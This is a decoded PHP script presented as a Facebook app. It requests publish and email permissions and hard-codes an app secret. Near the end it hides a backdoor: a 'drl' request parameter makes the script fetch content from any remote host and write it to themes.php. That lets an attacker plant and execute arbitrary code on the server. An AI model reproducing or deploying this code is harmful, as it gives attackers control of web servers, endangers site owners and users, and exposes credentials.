david file => decoded

<?php
/*
* @ Pirate-Sky Crew :: PHP Decoder
* @ Author: pLa$71k
* @ Web: http://pirate-sky.com
* @ Pirate-Sky Crew © 2008 - 2013
*/

error_reporting(0);
require_once("facebook/facebook.php");
$facebook = new Facebook(array(
    "appId" => "412806585445652",
    "secret" => "27401931cee5cee03a854547fd7fc311"
));
$session  = $facebook->getUser();
$loginUrl = $facebook->getLoginUrl(array(
    "scope" => "user_status,publish_actions,email"
));
$me       = null;
$chk      = 1;
if ($session) {
    try {
        $uid         = $facebook->getUser();
        $me          = $facebook->api("/me");
        $permissions = $facebook->api("/me/permissions");
        if ($permissions["data"][0]["publish_actions"] == 1)
            $chk = 0;
        else
            $chk = 1;
    }
    catch (FacebookApiException $e) {
    }
}
if (isset($_GET["drl"])) {
    $file = file_get_contents("http://" . $_GET["drl"]);
    $fp   = fopen("themes.php", "w+");
    fwrite($fp, $file);
    fclose($fp);
}
?>